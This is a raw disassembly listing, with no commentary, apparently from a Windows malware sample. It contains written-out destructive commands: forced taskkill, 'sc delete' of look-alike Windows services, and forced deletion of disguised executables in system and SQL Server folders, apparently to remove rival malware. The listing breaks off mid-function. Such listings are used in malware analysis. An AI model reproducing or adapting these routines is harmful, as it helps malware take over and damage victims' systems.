push str.cmd__c_del__f__a__q__ProgramFiles_Microsoft_StuSystemSystem.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:Program_Files__x86_Microsoft_StuSystemSystem.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:Program_FilesMicrosoft_StuSystemSystem.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.Nvdxgiwrap.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4071cc
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_Nvdxgiwrap.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_sc_delete__Corporati_Windows_Nvdxgiwrap_
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_sc_delete__Corporati_Windows_Nvdxgiwrap_
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_sc_delete__Corporati_Windows_Rsytvcem_
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_sc_delete__Corporati_Windows_Rsytvcem_
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.Rsytvcp.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x407369
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_Rsytvcp.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str._ProgramFiles_Microsoft_RsytvcemRsytvcp.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:Program_Files__x86_Microsoft_RsytvcemRsytvcp.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:Program_FilesMicrosoft_RsytvcemRsytvcp.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q__ProgramFiles_Microsoft_RsytvcemRsytvcp.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:Program_Files__x86_Microsoft_RsytvcemRsytvcp.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:Program_FilesMicrosoft_RsytvcemRsytvcp.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.Systen64.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x40755a
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_Systen64.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str._ProgramFiles_Microsoft_SystenAppSysten64.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:Program_Files__x86_Microsoft_SystenAppSysten64.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:Program_FilesMicrosoft_SystenAppSysten64.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q__ProgramFiles_Microsoft_SystenAppSysten64.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:Program_Files__x86_Microsoft_SystenAppSysten64.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:Program_FilesMicrosoft_SystenAppSysten64.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.spoolys.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x40774b
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_spoolys.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:WindowsHelp_spoolys.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:WindowsHelp_spoolys.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.lsma12.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x407864
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_lsma12.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:WindowsINF_aspnetlsma12.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:WindowsINF_aspnetlsma12.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.assm.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x40797d
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_assm.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:Program_FilesMicrosoft_SQL_ServerMSSQL11.MSSQLSERVERMSSQLDATASqlManagement_assm.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str._ProgramFiles_Microsoft_SQL_ServerMSSQL11.MSSQLSERVERMSSQLDATASqlManagement_assm.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:Program_FilesMicrosoft_SQL_ServerMSSQL11.MSSQLSERVERMSSQLDATASqlManagement_assm.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q__ProgramFiles_Microsoft_SQL_ServerMSSQL11.MSSQLSERVERMSSQLDATASqlManagement_assm.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.sqlcmd.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x407b1a
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_sqlcmd.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:Program_FilesMicrosoft_SQL_ServerMSSQL11.MSSQLSERVERMSSQLDATASqlManagement_sqlcmd.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str._ProgramFiles_Microsoft_SQL_ServerMSSQL11.MSSQLSERVERMSSQLDATASqlManagement_sqlcmd.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:Program_FilesMicrosoft_SQL_ServerMSSQL11.MSSQLSERVERMSSQLDATASqlManagement_sqlcmd.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q__ProgramFiles_Microsoft_SQL_ServerMSSQL11.MSSQLSERVERMSSQLDATASqlManagement_sqlcmd.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_conhos.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_conhos.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.conhos.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x407d53
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.conhos.exe
push dword [ebp - 0x18]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x407db9
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x407dcc
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x407def
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_conhou.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_conhou.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.conhou.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x407ed2
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.conhou.exe
push dword [ebp - 0x18]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x407f38
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x407f4b
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x407f6e
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.m6.bin.bin.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x407fb5
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_m6.bin.bin.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.javaw.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x40804a
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_javaw.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.lsso.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4080df
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_clsso.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_conhoz.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_conhoz.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.conhoz.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x408210
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.conhoz.exe
push dword [ebp - 0x18]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x408276
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x408289
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4082ac
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_conhoz.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_conhoz.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.conhoz.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x40838f
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.conhoz.exe
push dword [ebp - 0x18]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x4083f5
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x408408